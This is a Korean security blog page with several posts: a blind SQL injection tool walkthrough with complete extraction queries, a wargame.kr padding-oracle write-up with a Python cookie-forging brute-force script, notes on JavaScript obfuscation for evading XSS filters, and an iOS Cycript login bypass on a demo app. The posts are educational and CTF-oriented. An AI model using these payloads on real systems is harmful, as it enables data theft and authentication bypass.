'분류 전체보기'에 해당되는 글 438건

[wargame.kr] QnA

2018. 5. 6. 22:10

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

내가 분석하고 하는 Bind SQL Injection Tool은 많이들 사용하는 [Blind SQL Injection for Pentration Teser v2.0.0 build 603 Beta 1] 이다.

참고 ) http://n3015m.tistory.com



1. 기본적인 툴 사용법

① URL 부분에는 SQL Injection을 진행할 URL을 적어주면 된다.

② DBMS에는 해당 사이트의 DBMS를 선택해주면 된다. (MSSQL, MYSQL, ORACLE)

③ POST인지 아닌지 체크 후 POST라면 POST 탭에 파라미터와 그 값을 넣어주면 된다.

④ Blind SQL Injection을 AND로 진행할지 OR로 진행할지 고르면 된다.

⑤ MATCH 부분은 값이 True일 때 서버의 응답 중 어떤 것으로 판단할지 적어주면 된다.

⑥ Append Text End Of Query는 쿼리 작성 후 마지막에 무엇을 써줄지 적어주면 된다. 나와있듯이 보통 주석처리를 적어준다.


DB,USR,AUTH,VER 부분 중 확인하고자 하는 것을 체크 후 Initialize Injection을 눌러준다. DB는 Default로 체크되어있다. 왜냐하면 추후 TABLE NAME을 확인할 때 사용하여야 하기 때문이다.



2. DB명 확인

 * 공격순서 및 공격쿼리

  1) DB명 길이 확인

- idx=21726+AND+length(database())>1--

- idx=21726+AND+length(database())>2--

- idx=21726+AND+length(database())>4-- (2배씩 증가하다 응답이 false이면 범위를 좁혀 DB명 길이 확인)

...

  2) DB명 한글자씩 확인

- idx=21726+AND+ascii(substring(database(),1,1))>78--

- idx=21726+AND+ascii(substring(database(),1,1))>102-- (위와 동일하게 범위를 좁혀가며 첫번째 글자 확인)

- idx=21726+AND+ascii(substring(database(),2,1))>78-- ( 두번째 글자를 위와 동일한 방식으로 확인.. 이렇게 하여 모든 DB명 확인)



3. TABLE NAME 확인

 - DB명을 뽑아냈다면 TABLE NAME 부분의 CRACK 버튼을 누를 수 있다. 


 * 공격순서 및 공격쿼리

  1) 테이블명 중 가장 길이가 긴 길이 확인

idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+order+by+length(table_name)desc+limit+0,1)>2--

설명) 

 - 0x42415345205441424C45 : BASE TABLE → DB Owner가 생성한 TABLE만 조회하기 위해 사용

 - 0x69705f6c6f675f7461626c65 : ip_log_table (DB명) → 해당 DB의 테이블을 확인하기 위해 사용


  2) 테이블 갯수 확인

idx=21726+AND+(select+count(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65)>2--


  3) 첫번째 테이블명의 길이 확인

idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>5--


  4) 첫번째 테이블명 획득

idx=21726+AND+(select+ascii(substring(table_name,1,1))+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>78--

 - ascii(substring(table_name,1,1)의 첫번째 1을 2,3,4 순서로 길이만큼 올리면 된다.


 5) 반복

  - 테이블명 길이의 마지막 limit의 0이었던 부분을 1,2,3 순서로 올리면 된다.

  - 반복해서 테이블명을 획득


 6) 데이터 갯수 확인

idx=21726+AND+(select+count(*)+from+ip_table)>2--

 - 획득한 Table_Name을 from 뒤에 넣어 각 테이블의 데이터 갯수를 뽑아낸다.



4. COLUMN NAME 확인

 * 공격순서 및 공격쿼리

  1) 각 테이블 중 컬럼명의 가장 긴 길이를 확인

idx=21726+AND+(select+length(column_name)from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+order+by+length(column_name)+desc+limit+0,1)>2--


  2) 각 테이블의 컬럼 갯수 확인

idx=21726+AND+(select+count(*)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65)>2--


  3) 테이블에 해당하는 컬럼명 획득

① 첫번째 컬럼명의 길이 획득

idx=21726+AND+(select+length(column_name)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>1--


② 첫번째 컬럼명 획득

idx=21726+AND+(select+ascii(substring(column_name,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>78--

 - column_name 뒤의 숫자를 획득시켜주면 된다.


  4) 데이터 타입 확인

① data_type의 각 자리의 ascii값 확인

idx=21726+AND+(select+ascii(substring(data_type,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>105--


② 얻은 값을 통해 확인작업

idx=21726+AND+(select+data_type+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)=0x696e74--


  5) 반복

 - 3)과 4)의 limit 뒤의 0을 1,2,3 순서로 증가시키면 된다.



5. DATA 확인

 * 공격순서 및 공격쿼리

  1) 해당 테이블과 컬럼명을 이용하여 각 데이터의 길이 확인

idx=21726+AND+(select+length(id)from+.admin_table+limit+0,1)>2--


  2) 각 데이터 획득

idx=21726+AND+(select+ascii(substring(id,1,1))+from+.admin_table+limit+0,1)>126--


반응형

'Hacking > Web' 카테고리의 다른 글

[SuNiNaTaS] 22번 문제  (0) 2018.05.10
sql injection using md5  (0) 2018.05.09
Padding Oracle Attack  (0) 2018.05.01
자바스크립트 난독화  (0) 2018.05.01
보안진단 크롬 플러그인  (0) 2018.04.17
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형


문제에 접근하면 padding oracle vulnerability에 대해 알고 있는지 물어본다.

해당 기법을 이용하여 문제를 해결해야 한다는 것을 알 수 있다.


해당 기법에 대해서는 아래 블로그에 설명이 잘 나와있다.

해당 블로그를 참고하여 패딩 오라클 에 대해 잘 숙지하고 문제에 접근해보자.


한마디로 정리하자면 오라클이란 올바른지 확인하는 것이라 생각하면 되고 이에 따라 패딩 오라클이란 암호화된 값을 복호화했을 때 패딩이 올바르게 되어 있는지 확인해주는 것이다. 


암호화된 값을 복호화과정 없이 변조가 가능하다는 것이 크리티컬한데 그 과정을 간단히 설명하면 암호화된 값을 복호화하면 IV(Initialization Vector)와 평문을 Xor한 값이 나오고 여기에 IV를 Xor하면 평문이 나온다. 단, 우리는 키 값을 모르기 때문에 복호화를 진행할 수가 없으므로 IV의 값을 바꿔가며 IV와 평문을 Xor한 값을 찾고 이를 통해 평문값을 찾을 수 있으며 변조까지 가능하다.


참고) 서버측에서는 PlainText의 padding이 잘 되어있다면 padding이 잘못되어 있을 때와 다른 응답을 보낸다.

 암호화 경우

 서버측 응답 

 정상적인 암호문

 200 OK 

 비정상적인 암호문

 500 Internal Server Error 

 정상적인 암호문 + 복호화 시 비정상적인 데이터

 Custom Error message 200 OK 혹은 404 Not Found


이 취약점은 ASP.NET에서 세션을 변조할 수 있는 취약점으로 나온지가 꽤 된 취약점으로 RealWorld에서는 자주 발견되기 힘들 것으로 보이긴합니다. (워낙 크리티컬해야지;;)


해당 문제에 접근하면 guest와 그에 해당하는 패스워드가 적혀있는데 로그인을 하면 아래와 같이 admin의 세션을 얻는 것이 목표라고 말하고 있다.


버프를 통해 세션값을 얻어보면 아래와 같이 L0g1n이라는 쿠키값이 참 의심스럽게 생겼다.



해당 값의 길이를 세어보니 총 24바이트로 12바이트씩 블럭이 되어있음을 예상할 수 있다.

해당 값의 앞 블럭의 값을 바꿔보면 invalid user 라는 에러가 뜨고 뒷 블럭의 마지막 값을 바꾸면 padding error라는 에러가 뜸을 볼 수 있다.


일단 뒷 블럭의 마지막 값을 바꿔가며 브루트포싱을 하여 invalid user가 나오는 값이 무엇인지 00~FF를 넣어보자.


후.... 더러운 코드지만 잘 될줄 알았지만 값을 넣어도 안되네 ㅠㅠ

import urllib

import urllib2

from urllib import quote,unquote

import base64


url='http://wargame.kr:8080/dun_worry_about_the_vase/login_ok.php'

data = {"id":"guest","ps":"guest"}

data = urllib.urlencode(data)

request = urllib2.Request(url,data)

request.add_header("Cookie", "ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%228a1e8bd46581d8503958676735c11a70%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F66.0.3359.139+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525236407%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A8%3A%22R00t%40ble%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22air0700%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%228850%22%3B%7Debaa3718c2c73df7bab9171deca20b7994ca8280")


response = urllib2.urlopen(request)

headers = response.info().headers

data = response.read()


for s in headers:

    if "Set-Cookie" in s:

        Llocation = s.find("L0g1n")

        Rlocation = s.find("\r")

        #print s[Llocation+6:Rlocation]

        Key = s[Llocation+6:Rlocation]


url2='http://wargame.kr:8080/dun_worry_about_the_vase/main.php'

request2=urllib2.Request(url2)


Key1 = unquote(Key[0:Key.find("%3D")+3])    #urldecodeing

#print Key1

Key2 = unquote(Key[Key.find("%3D")+3:])     #urldecodeing

#print Key2

        

hexKey1 = (base64.decodestring(Key1)).encode("hex")

# print hexKey1

hexKey2 = (base64.decodestring(Key2)).encode("hex")


iv="0000000000000000"


iv_Temp = iv


for j in range(1,9):

    for i in range(0,256):

        iv_Temp = iv_Temp[:-2*j]+format(i,'02x')+iv_Temp[16-2*(j-1):]

        print iv_Temp

        result = base64.encodestring(iv_Temp.decode("hex"))+Key2

        result = result.replace("\n","")

        #print result

        request2.add_header("Cookie","L0g1n="+result+"; ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%228a1e8bd46581d8503958676735c11a70%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F66.0.3359.139+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525236407%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A8%3A%22R00t%40ble%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22air0700%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%228850%22%3B%7Debaa3718c2c73df7bab9171deca20b7994ca8280")

        response = urllib2.urlopen(request2)

        data = response.read()

        print format(i,'02x')+" : " +data


        if(data.find("invalid user")!=-1):

            print str(j) + "'s result=" +result

            #hexKey1 = hexKey1[:-2*j]+hex(i^(j+1))[-2:]+hexKey1[16-2*(j-1):]

            iv= iv[:-2*j]+format(i^j,'02x')+iv[16-2*(j-1):]

            print "[+]iv= " + iv

            if(j==1):

                iv_Temp = iv[:-2*j]+format((i^j)^(j+1),'02x')

                

            elif(j==8):

                print "[+]iv_Temp = " + iv_Temp

                print "[+]IV = " + hexKey1

                print "[+]encrypted Text = " + hexKey2

                break

            

            else:

                Temp = ''

                for k in range(j+1,1,-1):

                    print "jjjjj: " + str(j)

                    Temp += format(int(iv[16-2*(k-1):16-2*(k-2)],16)^(j+1),'02x')

                iv_Temp = iv_Temp[:-2*j]+Temp    

            print "[+]iv_Temp = " + iv_Temp

            break



#print "[+]decrypted Text = " + iv_Temp ^ hexKey1


술먹고 집가다가 갑자기 깨달음이 ㅋㅋㅋㅋ

코드 결과 나온 값은 hex값이므로 디코딩 후 base64로 인코딩해줘야 답이 된다.


클리어~


참고 ) 
- https://m.blog.naver.com/PostView.nhn?blogId=wlstngus0504&logNo=220392135701&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F
- http://bperhaps.tistory.com/entry/%EC%98%A4%EB%9D%BC%ED%81%B4-%ED%8C%A8%EB%94%A9-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EC%B4%88-%EC%84%A4%EB%AA%85-Oracle-Padding-Attack

반응형

'Solve Problem' 카테고리의 다른 글

[SuNiNaTaS] 7번 문제  (0) 2018.05.10
[wargame.kr] QnA  (0) 2018.05.06
[RedTiger's Hackit] 올클리어  (0) 2018.02.03
[RedTiger's Hackit] 10번 문제  (0) 2018.02.03
[RedTiger's Hackit] 9번 문제  (0) 2018.02.01
블로그 이미지

rootable

,

[JSP 보안] Secure Coding

2018. 5. 1. 18:42

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Padding Oracle Attack

2018. 5. 1. 16:48

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

만약 XSS공격 시 < 와 >가 가능한데 다른 것들에 의해 진행되지 않는다면 아래의 자바스크립트 난독화를 이용하여 우회가 가능해보인다.

 - 주로 방화벽을 우외할 때 사용할 수 있다.



참고 ) http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=187

비슷한 기법으로 달러 난독화로도 불리우는 스플릿 문자 $ 를 이용한 jj encoding 이라는 난독화 기법이 존재하나 , jj encode 방식은 Operating System , Browser depended 즉 유연성 ( flexibility ) 이 떨어져 몇몇 환경에서는 실행되지 않으므로 부적절합니다. 위와 같은
생성자 [] 난독화 방식이나 META 태그에서 charset 속성 설정을 이용하여 여러가지 인코딩 방식을 통해 우회를 하는 방법이 가장 적절하겠으나 , 언어셋을 이용하여 우회하는 방식은 %3C , %3E 외에 비허용 문자인 %3D 를 포함시켜야 하기 때문에 생성자 [] 스트링을 이용한 난독화 기법만이 필터링 처리 되지 않는 가장 적절한 방식이라고 볼 수 있겠습니다


https://codeengn.com/archive/Web%20Application/%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%20%EB%82%9C%EB%8F%85%ED%99%94%20%EA%B8%B0%EB%B2%95%20%EB%B0%8F%20%EB%B6%84%EC%84%9D%20%EB%B0%A9%EB%B2%95%EB%A1%A0%20[%EB%B0%95%EB%AF%BC%EA%B1%B4].pdf


http://utf-8.jp/public/jsfuck.html

반응형

'Hacking > Web' 카테고리의 다른 글

Blind SQL Injection tool 분석  (4) 2018.05.06
Padding Oracle Attack  (0) 2018.05.01
보안진단 크롬 플러그인  (0) 2018.04.17
[CVE-2017-5487] 워드프레스 REST API 관련 취약점  (0) 2018.03.30
Injection PHP Code  (0) 2018.03.24
블로그 이미지

rootable

,

IOS Cycript

Hacking/Mobile 2018. 4. 30. 17:05
반응형

1. Cycript란?

 - javascript와 Obj-C를 결합한 스크립트의 인터프리터

 - 실행중인 프로세스에 attach하여 Property를 변경하고 함수를 동적으로 호출할 수 있다.

 - 나는 cycript를 이용하여 로그인을 우회하는 것을 예시로 보여줄 것이다.


2. 환경 세팅

 - MethodSwizzlingDemo 라는 앱을 이용하여 로그인을 우회하는 2가지 방법에 대해 해볼 생각이다. 그러기 위해서는 우회할 앱과 cycript가 설치되어 있어야 한다.


2.1 cycript 설치

 - cycript 설치는 간단하다. Cydia에서 cycript 검색 후 설치해주면 끝!


2.2 MethodSwizzlingDemo 앱 설치

 -  아래에 첨부한 파일을 다운로드 받는다.

MethodSwizzlingDemo.ipa


 - cydia Impactor를 다운받아 해당 ipa를 설치해준다. (자세한 설치 과정은 검색을 통해 진행)

 - 만약 설치 중 에러로 인해 설치가 안된다면 제 포스팅을 참고해서 진행해주시면 됩니다. ( http://rootable.tistory.com/entry/Cydia-Impactor%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-ipa-%EC%84%A4%EC%B9%98 )

 - 설치가 완료된다면 아래와 같은 화면을 볼 수 있다.

3. 앱 분석


 - 입력창 2개와 버튼 2개가 있다. 입력창 2개는 ID와 PW 입력하는 창인듯 하고 아래는 로그인하는 method인 것을 알 수 있다.

 - 버튼에 Login Method 1과 Login Method 2라고 써져있는 것을 보아 2가지 방법으로 로그인할 수 있는 것을 알 수 있다.

 - 아래 사진과 같이 임의의 ID와 PW 입력 후 버튼을 눌러보면 둘다 동일하게 아래와 같은 에러가 뜨는 것을 볼 수 있다.



 - 이제 cycript를 이용하여 ID와 PW를 몰라도 Login을 할 수 있도록 Login 로직을 우회해보겠다.


4. Login 관련 함수 확인

Step 1) ps 명령어를 통해 현재 실행 중인 앱의 PID 확인


해당 명령어를 통해 PID가 3478인 것을 확인할 수 있다.


Step 2) cycript 를 실행시키며 p 옵션을 통해 해당 프로세스에 attach


정상적으로 attach가 되어 cy#에 커서가 있음을 볼 수 있다.


Step 3) Login하는 메소드 확인

(1) printMethods 함수 정의

 - http://iphonedevwiki.net/index.php/Cycript_Tricks <- 해당 링크에 접속하면 cycript에서 사용할 수 있는 많은 함수들을 볼 수 있다.

 - 해당 함수를 이용해서 확인하는 방법은 아래와 같은 에러가 뜨며 진행되지 않았다.


(2) ViewController.messages 이용

 - ViewController.messages 를 입력하면 메소드를 확인할 수 있다 하였지만 나의 경우는 나타나지 않았다. (아무 반응 없음)


(3) class-dump-z 이용

 - 앱스토어를 통해 설치한 앱의 경우 암호화가 적용되어 있으므로 clutch를 통해 복호화 후 아래 과정 진행 (내가 진행한 앱은 직접 설치한 것이므로 암호화가 되어있지 않으므로 그냥 진행)

 - class-dump-z [앱 이름] > [덤프파일 이름]

 - 덤프한 파일이 길기 때문에 tail 명령어로 끝부분을 보니 validateLogin 함수와 pushLoginPage 함수가 있는 것을 볼 수 있다.


5. 로그인 우회

 - 위에서 확인한 두 함수(validateLogin, pushLoginPage)를 이용하여 Login을 우회할 것이다.


5.1) 로그인 검증 결과를 무조건 True로

 - validateLogin 함수는 함수명과 BOOL을 리턴하는 함수인 것을 통해 login을 검증하는 함수임을 추측할 수 있다. 따라서 Cycript를 이용하여 항상 True를 리턴하도록 변경하였다.

 - 참고한 블로그에서는 ViewController.messages를 이용하였지만 더 이상 Cycript에서 messages를 지원하지 않는다고 한다.  prototype를 이용하자.

 - 해당 코드 입력 후 Login Method 1을 클릭하면 아래와 같이 로그인에 성공하는 것을 볼 수 있다.



5.2) 로그인 성공 화면을 강제 호출

 - pushLoginPage는 로그인 성공 후 호출하는 화면이다. 해당 화면을 아래 코드를 통해 강제로 호출하면 로그인을 우회할 수 있다.

- 해당 코드 입력 시 바로 로그인 성공 페이지로 넘어가는 것을 확인할 수 있다.

 

(확인할 사항)

 - 현재 뷰 사라지도록 : [xxxViewController dismissViewControllerAnimated:YES completion:nil]

 - 원하는뷰 나타나도록 : [xxxViewController presentViewController:newViewController animated:YES completion:nil]

 - 


참고)

http://apollo89.com/wordpress/?p=5890

http://apollo89.com/wordpress/?p=5996

wildpointer.qiniudn.com/MethodSwizzlingDemo.ipa

http://hyunmini.tistory.com/70

반응형
블로그 이미지

rootable

,